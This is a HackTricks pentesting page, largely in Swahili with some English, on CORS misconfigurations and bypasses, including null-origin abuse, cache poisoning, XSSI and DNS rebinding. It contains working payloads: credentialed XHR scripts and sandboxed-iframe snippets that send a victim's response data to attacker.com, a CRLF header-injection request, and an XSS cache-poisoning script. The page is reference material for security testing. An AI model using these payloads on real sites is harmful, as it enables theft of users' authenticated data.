Swahili - Ht
HackTricks Training Twitter Linkedin Sponsor

CORS - Misconfigurations & Bypass

Support HackTricks
LogoWebsec | Uw Cybersecurity Specialist

CORS ni nini?

Mizani ya Kushiriki Rasilimali za Mikoa Mbalimbali (CORS) inawawezesha seva kufafanua ni nani anaweza kufikia mali zao na ni njia zipi za ombi la HTTP zinazoruhusiwa kutoka vyanzo vya nje.

Sera ya same-origin inahitaji kwamba seva inayotaka rasilimali na seva inayohifadhi rasilimali zishiriki itifaki sawa (mfano, http://), jina la kikoa (mfano, internal-web.com), na bandari (mfano, 80). Chini ya sera hii, ni kurasa za wavuti kutoka kikoa na bandari sawa pekee ndizo zinazoruhusiwa kufikia rasilimali hizo.

Matumizi ya sera ya same-origin katika muktadha wa http://normal-website.com/example/example.html yanaonyeshwa kama ifuatavyo:

URL iliyofikiwaUfikiaji unaruhusiwa?

http://normal-website.com/example/

Ndio: Mpango, kikoa, na bandari sawa

http://normal-website.com/example2/

Ndio: Mpango, kikoa, na bandari sawa

https://normal-website.com/example/

Hapana: Mpango na bandari tofauti

http://en.normal-website.com/example/

Hapana: Kikoa tofauti

http://www.normal-website.com/example/

Hapana: Kikoa tofauti

http://normal-website.com:8080/example/

Hapana: Bandari tofauti*

*Internet Explorer inapuuzilia mbali nambari ya bandari katika kutekeleza sera ya same-origin, hivyo kuruhusu ufikiaji huu.

Access-Control-Allow-Origin Header

Header hii inaweza kuruhusu mikoa mingi, thamani ya null, au wildcards *. Hata hivyo, hakuna kivinjari kinachounga mkono mikoa mingi, na matumizi ya wildcard * yanakabiliwa na mipaka. (Wildcard lazima itumike peke yake, na matumizi yake pamoja na Access-Control-Allow-Credentials: true hayaruhusiwi.)

Header hii inatolewa na seva kama jibu la ombi la rasilimali ya mikoa tofauti lililoanzishwa na tovuti, huku kivinjari kikiongeza kiotomatiki header ya Origin.

Access-Control-Allow-Credentials Header

Kwa kawaida, maombi ya mikoa tofauti yanafanywa bila akidi kama vile vidakuzi au header ya Uidhinishaji. Hata hivyo, seva ya mikoa tofauti inaweza kuruhusu kusoma jibu wakati akidi zinatumwa kwa kuweka header ya Access-Control-Allow-Credentials kuwa true.

Ikiwa imewekwa kuwa true, kivinjari kitaweza kutuma akidi (vidakuzi, headers za uidhinishaji, au vyeti vya mteja vya TLS).

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Pre-flight request

Understanding Pre-flight Requests in Cross-Domain Communication

Wakati wa kuanzisha ombi la kuvuka eneo chini ya hali maalum, kama vile kutumia mbinu isiyo ya kawaida ya HTTP (chochote isipokuwa HEAD, GET, POST), kuanzisha vichwa vipya, au kutumia thamani maalum ya kichwa cha Content-Type, ombi la awali linaweza kuhitajika. Ombi hili la awali, linalotumia mbinu ya OPTIONS, linatumika kuarifu seva kuhusu nia za ombi la kuvuka eneo linalokuja, ikiwa ni pamoja na mbinu za HTTP na vichwa inavyokusudia kutumia.

Itifaki ya Cross-Origin Resource Sharing (CORS) inahitaji ukaguzi huu wa awali ili kubaini uwezekano wa operesheni ya kuvuka eneo iliyohitajika kwa kuthibitisha mbinu, vichwa, na uaminifu wa chanzo. Kwa ufahamu wa kina wa hali zipi zinazoepusha hitaji la ombi la awali, rejelea mwongozo wa kina ulioandikwa na Mozilla Developer Network (MDN).

Ni muhimu kutambua kwamba ukosefu wa ombi la awali hauondoi hitaji la jibu kubeba vichwa vya idhini. Bila vichwa hivi, kivinjari hakiwezi kushughulikia jibu kutoka kwa ombi la kuvuka eneo.

Fikiria mfano ufuatao wa ombi la awali lililokusudia kutumia mbinu ya PUT pamoja na kichwa maalum kinachoitwa Special-Request-Header:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

Katika majibu, seva inaweza kurudisha vichwa vinavyoashiria mbinu zilizokubaliwa, asili iliyoruhusiwa, na maelezo mengine ya sera ya CORS, kama inavyoonyeshwa hapa chini:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240

  • Access-Control-Allow-Headers: Kichwa hiki kinaeleza ni vichwa gani vinaweza kutumika wakati wa ombi halisi. Kimewekwa na seva kuashiria vichwa vinavyoruhusiwa katika maombi kutoka kwa mteja.

  • Access-Control-Expose-Headers: Kupitia kichwa hiki, seva inamjulisha mteja ni vichwa gani vinaweza kufichuliwa kama sehemu ya jibu mbali na vichwa vya jibu rahisi.

  • Access-Control-Max-Age: Kichwa hiki kinaonyesha ni muda gani matokeo ya ombi la pre-flight yanaweza kuhifadhiwa. Seva inaweka muda wa juu, kwa sekunde, ambao taarifa iliyorejeshwa na ombi la pre-flight inaweza kutumika tena.

  • Access-Control-Request-Headers: Inayotumika katika maombi ya pre-flight, kichwa hiki kimewekwa na mteja kuijulisha seva ni vichwa gani vya HTTP ambavyo mteja anataka kutumia katika ombi halisi.

  • Access-Control-Request-Method: Kichwa hiki, pia kinachotumika katika maombi ya pre-flight, kimewekwa na mteja kuashiria ni njia gani ya HTTP itakayokuwa ikitumika katika ombi halisi.

  • Origin: Kichwa hiki kimewekwa kiotomatiki na kivinjari na kinaonyesha asili ya ombi la cross-origin. Kinatumika na seva kutathmini ikiwa ombi linalokuja linapaswa kuruhusiwa au kukataliwa kulingana na sera ya CORS.

Kumbuka kwamba kawaida (kutegemea aina ya maudhui na vichwa vilivyowekwa) katika ombio la GET/POST hakuna ombi la pre-flight linalotumwa (ombio linatumwa moja kwa moja), lakini ikiwa unataka kufikia vichwa/mwili wa jibu, lazima iwe na kichwa Access-Control-Allow-Origin kinachoruhusu. Hivyo, CORS hailindi dhidi ya CSRF (lakini inaweza kuwa na manufaa).

Maombi ya Mtandao wa Mitaa Ombi la Pre-flight

  1. Access-Control-Request-Local-Network: Kichwa hiki kimejumuishwa katika ombi la mteja kuashiria kwamba uchunguzi unalenga rasilimali ya mtandao wa ndani. Kinatumika kama alama kuijulisha seva kwamba ombi linatoka ndani ya mtandao wa ndani.

  2. Access-Control-Allow-Local-Network: Katika majibu, seva zinatumia kichwa hiki kuwasiliana kwamba rasilimali iliyohitajika inaruhusiwa kushirikiwa na vyombo vya nje ya mtandao wa ndani. Kinatumika kama mwanga wa kijani kwa kushiriki rasilimali kati ya mipaka tofauti ya mtandao, kuhakikisha ufikiaji ulio na udhibiti huku ukihifadhi itifaki za usalama.

Jibu halali linaloruhusu ombi la mtandao wa ndani linahitaji kuwa na pia katika jibu kichwa Access-Controls-Allow-Local_network: true:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

Kumbuka kwamba IP ya linux 0.0.0.0 inafanya kazi ili kuepuka mahitaji haya ya kufikia localhost kwani anwani hiyo ya IP haichukuliwi kuwa "ya ndani".

Pia inawezekana kuepuka mahitaji ya Mtandao wa Ndani ikiwa utatumia anwani ya IP ya umma ya mwisho wa ndani (kama anwani ya IP ya umma ya router). Kwa sababu katika matukio kadhaa, hata kama IP ya umma inafikiwa, ikiwa ni kutoka kwenye mtandao wa ndani, ufikiaji utawezesha.

Makosa yanayoweza kutumika

Imeonekana kwamba kuweka Access-Control-Allow-Credentials kuwa true ni sharti la awali kwa mashambulizi mengi halisi. Kuweka hii kunaruhusu kivinjari kutuma akidi na kusoma jibu, kuimarisha ufanisi wa shambulizi. Bila hii, faida ya kufanya kivinjari kutoa ombi badala ya kufanya hivyo mwenyewe inapungua, kwani kutumia vidakuzi vya mtumiaji inakuwa vigumu.

Tofauti: Kutumia Mahali pa Mtandao kama Uthibitisho

Kuna tofauti ambapo mahali pa mtandao wa mwathirika hutenda kama aina ya uthibitisho. Hii inaruhusu kivinjari cha mwathirika kutumika kama proxy, kuzunguka uthibitisho wa IP ili kufikia programu za intranet. Njia hii ina fanana katika athari na DNS rebinding lakini ni rahisi kutekeleza.

Kurefusha Origin katika Access-Control-Allow-Origin

Hali halisi ambapo thamani ya kichwa cha Origin inarefushwa katika Access-Control-Allow-Origin ni ya nadharia isiyowezekana kutokana na vizuizi vya kuunganisha vichwa hivi. Hata hivyo, waendelezaji wanaotafuta kuwezesha CORS kwa URL nyingi wanaweza kuunda kwa dinamik Access-Control-Allow-Origin kichwa kwa kunakili thamani ya kichwa cha Origin. Njia hii inaweza kuleta udhaifu, hasa wakati mshambuliaji anatumia kikoa chenye jina kilichoundwa kuonekana kuwa halali, hivyo kudanganya mantiki ya uthibitishaji.

<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example.com/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='/log?key='+this.responseText;
};
</script>

Kutumia null Origin

null origin, iliyoainishwa kwa hali kama vile redirects au faili za HTML za ndani, ina nafasi ya kipekee. Programu zingine zinaweka orodha ya kuruhusiwa kwa origin hii ili kuwezesha maendeleo ya ndani, bila kukusudia ikiruhusu tovuti yoyote kuiga null origin kupitia iframe iliyo sanduku, hivyo kupita vizuizi vya CORS.

<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src="data:text/html,<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" srcdoc="<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://example/details',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='https://attacker.com//log?key='+encodeURIComponent(this.responseText);
};
</script>"></iframe>

Mbinu za Kupita Mifumo ya Kuangalia

Wakati wa kukutana na orodha ya maeneo yaliyoruhusiwa, ni muhimu kujaribu fursa za kupita, kama kuongeza eneo la mshambuliaji kwenye eneo lililoruhusiwa au kutumia udhaifu wa kuchukua subdomain. Zaidi ya hayo, matumizi ya mifumo ya kawaida kwa ajili ya uthibitishaji wa maeneo yanaweza kupuuzilia mbali tofauti katika kanuni za kutaja maeneo, na kutoa fursa zaidi za kupita.

Kupita kwa Mifumo ya Kawaida ya Juu

Mifumo ya Regex kawaida inazingatia wahusika wa alphanumeric, nukta (.), na alama za kuunganisha (-), ikipuuzilia mbali uwezekano mwingine. Kwa mfano, jina la eneo lililotengenezwa ili kujumuisha wahusika wanaotafsiriwa tofauti na vivinjari na mifumo ya regex linaweza kupita ukaguzi wa usalama. Utunzaji wa wahusika wa alama ya chini katika subdomains na Safari, Chrome, na Firefox unaonyesha jinsi tofauti hizo zinaweza kutumika ili kuzunguka mantiki ya uthibitishaji wa maeneo.

Kwa maelezo zaidi na mipangilio ya ukaguzi huu wa kupita: https://www.corben.io/advanced-cors-techniques/ na https://medium.com/bugbountywriteup/think-outside-the-scope-advanced-cors-exploitation-techniques-dad019c68397

Kutoka XSS ndani ya subdomain

Wakuu wa programu mara nyingi wanaweka mifumo ya kujihami ili kulinda dhidi ya matumizi mabaya ya CORS kwa kuorodhesha maeneo ambayo yanaruhusiwa kuomba taarifa. Licha ya tahadhari hizi, usalama wa mfumo si wa kuaminika kabisa. Uwepo wa subdomain moja tu yenye udhaifu ndani ya maeneo yaliyoruhusiwa unaweza kufungua mlango wa matumizi mabaya ya CORS kupitia udhaifu mwingine, kama vile XSS (Cross-Site Scripting).

Ili kuonyesha, fikiria hali ambapo eneo, requester.com, limeorodheshwa ili kufikia rasilimali kutoka eneo lingine, provider.com. Mipangilio ya upande wa seva inaweza kuonekana kama ifuatavyo:

if ($_SERVER['HTTP_HOST'] == '*.requester.com') {
// Access data
} else {
// Unauthorized access
}

Katika mpangilio huu, subdomain zote za requester.com zinaruhusiwa kupata. Hata hivyo, ikiwa subdomain, sema sub.requester.com, imeathiriwa na udhaifu wa XSS, mshambuliaji anaweza kutumia udhaifu huu. Kwa mfano, mshambuliaji mwenye ufikiaji wa sub.requester.com anaweza kutumia udhaifu wa XSS ili kupita sera za CORS na kwa uovu kufikia rasilimali kwenye provider.com.

Uchafuzi wa cache upande wa seva

Kutoka utafiti huu

Inawezekana kwamba kwa kutumia uchafuzi wa cache upande wa seva kupitia sindano ya kichwa cha HTTP, udhaifu wa Cross-Site Scripting (XSS) unaweza kuanzishwa. Hali hii inatokea wakati programu inashindwa kusafisha kichwa cha Origin kwa wahusika haramu, ikisababisha udhaifu hasa kwa watumiaji wa Internet Explorer na Edge. Mablua haya yanachukulia (0x0d) kama mkataba halali wa kichwa cha HTTP, na kusababisha udhaifu wa sindano ya kichwa cha HTTP.

Fikiria ombi lifuatalo ambapo kichwa cha Origin kinamanipulika:

GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7

Internet Explorer na Edge hufasiri jibu kama:

HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7

While directly exploiting this vulnerability by making a web browser send a malformed header is not feasible, a crafted request can be manually generated using tools like Burp Suite. This method could lead to a server-side cache saving the response and inadvertently serving it to others. The crafted payload aims to alter the page's character set to UTF-7, a character encoding often associated with XSS vulnerabilities due to its ability to encode characters in a way that can be executed as script in certain contexts.

For further reading on stored XSS vulnerabilities, see PortSwigger.

Note: The exploitation of HTTP header injection vulnerabilities, particularly through server-side cache poisoning, underscores the critical importance of validating and sanitizing all user-supplied input, including HTTP headers. Always employ a robust security model that includes input validation to prevent such vulnerabilities.

Client-Side cache poisoning

From this research

Katika hali hii, mfano wa ukurasa wa wavuti unaonyesha maudhui ya kichwa cha HTTP cha kawaida bila uandishi sahihi unakabiliwa. Kwa usahihi, ukurasa wa wavuti unarudisha maudhui yaliyojumuishwa katika kichwa cha X-User-id, ambacho kinaweza kujumuisha JavaScript mbaya, kama inavyoonyeshwa na mfano ambapo kichwa kina tag ya picha ya SVG iliyoundwa kutekeleza msimbo wa JavaScript wakati wa kupakia.

Sera za Cross-Origin Resource Sharing (CORS) zinaruhusu kutumwa kwa vichwa vya kawaida. Hata hivyo, bila jibu kutolewa moja kwa moja na kivinjari kutokana na vizuizi vya CORS, matumizi ya sindano kama hiyo yanaweza kuonekana kuwa na mipaka. Kitu muhimu kinatokea wakati wa kuzingatia tabia ya cache ya kivinjari. Ikiwa kichwa cha Vary: Origin hakijabainishwa, inakuwa inawezekana kwa jibu mbaya kuhifadhiwa na kivinjari. Baadaye, jibu hili lililohifadhiwa linaweza kuonyeshwa moja kwa moja wakati wa kuhamasisha URL, kupita hitaji la uonyeshaji wa moja kwa moja wakati wa ombi la awali. Mekanismu hii inaboresha uaminifu wa shambulio kwa kutumia caching upande wa mteja.

Ili kuonyesha shambulio hili, mfano wa JavaScript unapatikana, ulioandaliwa kutekelezwa katika mazingira ya ukurasa wa wavuti, kama kupitia JSFiddle. Skripti hii inafanya kitendo rahisi: inatuma ombi kwa URL maalum yenye kichwa cha kawaida kinachojumuisha JavaScript mbaya. Baada ya kukamilika kwa ombi kwa mafanikio, inajaribu kuhamasisha URL ya lengo, huenda ikasababisha utekelezaji wa skripti iliyosambazwa ikiwa jibu limehifadhiwa bila kushughulikia ipasavyo kichwa cha Vary: Origin.

Here's a summarized breakdown of the JavaScript used to execute this attack:

<script>
function gotcha() { location=url }
var req = new XMLHttpRequest();
url = 'https://example.com/'; // Note: Be cautious of mixed content blocking for HTTP sites
req.onload = gotcha;
req.open('get', url, true);
req.setRequestHeader("X-Custom-Header", "<svg/onload=alert(1)>");
req.send();
</script>

Bypass

XSSI (Cross-Site Script Inclusion) / JSONP

XSSI, pia inajulikana kama Cross-Site Script Inclusion, ni aina ya udhaifu inayotumia ukweli kwamba Sera ya Asili Moja (SOP) haitumiki wakati wa kujumuisha rasilimali kwa kutumia lebo ya script. Hii ni kwa sababu scripts zinahitaji kuweza kujumuishwa kutoka kwa maeneo tofauti. Udhaifu huu unaruhusu mshambuliaji kufikia na kusoma maudhui yoyote ambayo yalijumuishwa kwa kutumia lebo ya script.

Udhaifu huu unakuwa muhimu hasa inapohusiana na JavaScript ya dinamik au JSONP (JSON na Padding), hasa wakati taarifa za mamlaka ya mazingira kama vile vidakuzi zinapotumika kwa uthibitishaji. Wakati wa kuomba rasilimali kutoka kwa mwenyeji tofauti, vidakuzi vinajumuishwa, na kuwafanya waweze kupatikana kwa mshambuliaji.

Ili kuelewa na kupunguza udhaifu huu, unaweza kutumia plugin ya BurpSuite inayopatikana kwenye https://github.com/kapytein/jsonp. Plugin hii inaweza kusaidia kubaini na kushughulikia udhaifu wa XSSI katika programu zako za wavuti.

Soma zaidi kuhusu aina tofauti za XSSI na jinsi ya kuzitumia hapa.

Jaribu kuongeza callback parameter katika ombi. Huenda ukurasa ulikuwa umeandaliwa kutuma data kama JSONP. Katika kesi hiyo, ukurasa utarudisha data na Content-Type: application/javascript ambayo itapita sera ya CORS.

Easy (useless?) bypass

Njia moja ya kupita kizuizi cha Access-Control-Allow-Origin ni kwa kuomba programu ya wavuti kufanya ombi kwa niaba yako na kutuma majibu nyuma. Hata hivyo, katika hali hii, akidi za mwathirika wa mwisho hazitapelekwa kwani ombi linafanywa kwa eneo tofauti.

  1. CORS-escape: Chombo hiki kinatoa proxy inayosambaza ombi lako pamoja na vichwa vyake, huku pia ikidanganya kichwa cha Asili ili kufanana na eneo lililoombwa. Hii kwa ufanisi inapita sera ya CORS. Hapa kuna mfano wa matumizi na XMLHttpRequest:

  2. simple-cors-escape: Chombo hiki kinatoa njia mbadala ya kupitisha maombi. Badala ya kupitisha ombi lako kama lilivyo, seva inafanya ombi lake mwenyewe kwa vigezo vilivyotolewa.

Iframe + Popup Bypass

Unaweza kupita ukaguzi wa CORS kama e.origin === window.origin kwa kuunda iframe na kutoka kwake kufungua dirisha jipya. Maelezo zaidi katika ukurasa ufuatao:

Iframes in XSS, CSP and SOP

DNS Rebinding via TTL

DNS rebinding kupitia TTL ni mbinu inayotumiwa kupita hatua fulani za usalama kwa kubadilisha rekodi za DNS. Hapa kuna jinsi inavyofanya kazi:

  1. Mshambuliaji anaunda ukurasa wa wavuti na kumfanya mwathirika aupate.

  2. Mshambuliaji kisha anabadilisha DNS (IP) ya eneo lake mwenyewe ili kuelekeza kwenye ukurasa wa wavuti wa mwathirika.

  3. Kivinjari cha mwathirika kinahifadhi jibu la DNS, ambalo linaweza kuwa na thamani ya TTL (Muda wa Kuishi) ikionyesha ni muda gani rekodi ya DNS inapaswa kuzingatiwa kuwa halali.

  4. Wakati TTL inapoisha, kivinjari cha mwathirika kinafanya ombi jipya la DNS, kuruhusu mshambuliaji kutekeleza msimbo wa JavaScript kwenye ukurasa wa mwathirika.

  5. Kwa kudumisha udhibiti juu ya IP ya mwathirika, mshambuliaji anaweza kukusanya taarifa kutoka kwa mwathirika bila kutuma vidakuzi vyovyote kwa seva ya mwathirika.

Ni muhimu kutambua kwamba vivinjari vina mifumo ya kuhifadhi ambayo inaweza kuzuia matumizi ya haraka ya mbinu hii, hata na thamani za chini za TTL.

DNS rebinding inaweza kuwa na manufaa kwa kupita ukaguzi wa IP wazi unaofanywa na mwathirika au kwa hali ambapo mtumiaji au bot inabaki kwenye ukurasa mmoja kwa muda mrefu, kuruhusu cache kuisha.

Ikiwa unahitaji njia ya haraka ya kutumia DNS rebinding, unaweza kutumia huduma kama https://lock.cmpxchg8b.com/rebinder.html.

Ili kuendesha seva yako ya DNS rebinding, unaweza kutumia zana kama DNSrebinder (https://github.com/mogwailabs/DNSrebinder). Hii inahusisha kufichua bandari yako ya ndani 53/udp, kuunda rekodi ya A inayotaja hiyo (mfano, ns.example.com), na kuunda rekodi ya NS inayotaja subdomain ya A iliyoundwa hapo awali (mfano, ns.example.com). Subdomain yoyote ya subdomain ya ns.example.com itatatuliwa na mwenyeji wako.

Unaweza pia kuchunguza seva inayofanya kazi hadharani kwenye http://rebind.it/singularity.html kwa ufahamu zaidi na majaribio.

DNS Rebinding via DNS Cache Flooding

DNS rebinding kupitia mafuriko ya cache ya DNS ni mbinu nyingine inayotumiwa kupita mfumo wa kuhifadhi wa vivinjari na kulazimisha ombi la pili la DNS. Hapa kuna jinsi inavyofanya kazi:

  1. Kwanza, wakati mwathirika anafanya ombi la DNS, linajibiwa kwa anwani ya IP ya mshambuliaji.

  2. Ili kupita ulinzi wa kuhifadhi, mshambuliaji anatumia mfanyakazi wa huduma. Mfanyakazi wa huduma anafurika cache ya DNS, ambayo kwa ufanisi inafuta jina la seva ya mshambuliaji lililohifadhiwa.

  3. Wakati kivinjari cha mwathirika kinapofanya ombi la pili la DNS, sasa kinajibiwa kwa anwani ya IP 127.0.0.1, ambayo kwa kawaida inarejelea localhost.

Kwa kufurika cache ya DNS na mfanyakazi wa huduma, mshambuliaji anaweza kudhibiti mchakato wa kutatua DNS na kulazimisha kivinjari cha mwathirika kufanya ombi la pili, wakati huu likitatuliwa kwa anwani ya IP inayotakiwa na mshambuliaji.

DNS Rebinding via Cache

Njia nyingine ya kupita ulinzi wa kuhifadhi ni kwa kutumia anwani nyingi za IP kwa subdomain moja katika mtoa huduma wa DNS. Hapa kuna jinsi inavyofanya kazi:

  1. Mshambuliaji anaunda rekodi mbili za A (au rekodi moja ya A yenye anwani mbili za IP) kwa subdomain moja katika mtoa huduma wa DNS.

  2. Wakati kivinjari kinapokagua rekodi hizi, kinapata anwani zote mbili za IP.

  3. Ikiwa kivinjari kitachagua kutumia anwani ya IP ya mshambuliaji kwanza, mshambuliaji anaweza kutoa payload inayofanya maombi ya HTTP kwa eneo hilo hilo.

  4. Hata hivyo, mara mshambuliaji anapopata anwani ya IP ya mwathirika, wanakoma kujibu kivinjari cha mwathirika.

  5. Kivinjari cha mwathirika, kinapogundua kwamba eneo halijibu, kinahamia kutumia anwani ya pili ya IP iliyotolewa.

  6. Kwa kufikia anwani ya pili ya IP, kivinjari kinapita Sera ya Asili Moja (SOP), kuruhusu mshambuliaji kutumia hii na kukusanya na kuhamasisha taarifa.

Mbinu hii inatumia tabia ya vivinjari wakati anwani nyingi za IP zinatolewa kwa eneo. Kwa kudhibiti kwa makusudi majibu na kudhibiti uchaguzi wa anwani ya IP ya kivinjari, mshambuliaji anaweza kutumia SOP na kufikia taarifa kutoka kwa mwathirika.

Kumbuka kwamba ili kufikia localhost unapaswa kujaribu kuunganisha 127.0.0.1 katika Windows na 0.0.0.0 katika linux. Watoa huduma kama godaddy au cloudflare hawakuniruhusu kutumia ip 0.0.0.0, lakini AWS route53 iliniruhusu kuunda rekodi moja ya A yenye anwani 2 ambapo moja yao ni "0.0.0.0"

Kwa maelezo zaidi unaweza kuangalia https://unit42.paloaltonetworks.com/dns-rebinding/

Other Common Bypasses

  • Ikiwa anwani za ndani haziruhusiwi, wanaweza kusahau kuzuia 0.0.0.0 (inafanya kazi kwenye Linux na Mac)

  • Ikiwa anwani za ndani haziruhusiwi, jibu na CNAME kwa localhost (inafanya kazi kwenye Linux na Mac)

  • Ikiwa anwani za ndani haziruhusiwi kama majibu ya DNS, unaweza kujibu CNAMEs kwa huduma za ndani kama www.corporate.internal.

DNS Rebidding Weaponized

Unaweza kupata maelezo zaidi kuhusu mbinu za kupita zilizotajwa hapo awali na jinsi ya kutumia chombo kinachofuata katika mazungumzo Gerald Doussot - State of DNS Rebinding Attacks & Singularity of Origin - DEF CON 27 Conference.

Singularity of Origin ni chombo cha kufanya DNS rebinding mashambulizi. Inajumuisha vipengele muhimu vya kuunganisha anwani ya IP ya jina la seva ya shambulizi na anwani ya IP ya mashine lengwa na kutoa payloads za shambulizi ili kutumia programu dhaifu kwenye mashine lengwa.

Real Protection against DNS Rebinding

  • Tumia TLS katika huduma za ndani

  • Omba uthibitisho ili kufikia data

  • Thibitisha kichwa cha Host

  • https://wicg.github.io/private-network-access/: Pendekezo la kutuma ombi la awali kila wakati wakati seva za umma zinataka kufikia seva za ndani

Tools

Fuzz possible misconfigurations in CORS policies

References

LogoWebsec | Uw Cybersecurity Specialist
Support HackTricks
PreviousCookie BombNextCRLF (%0D%0A) Injection

Last updated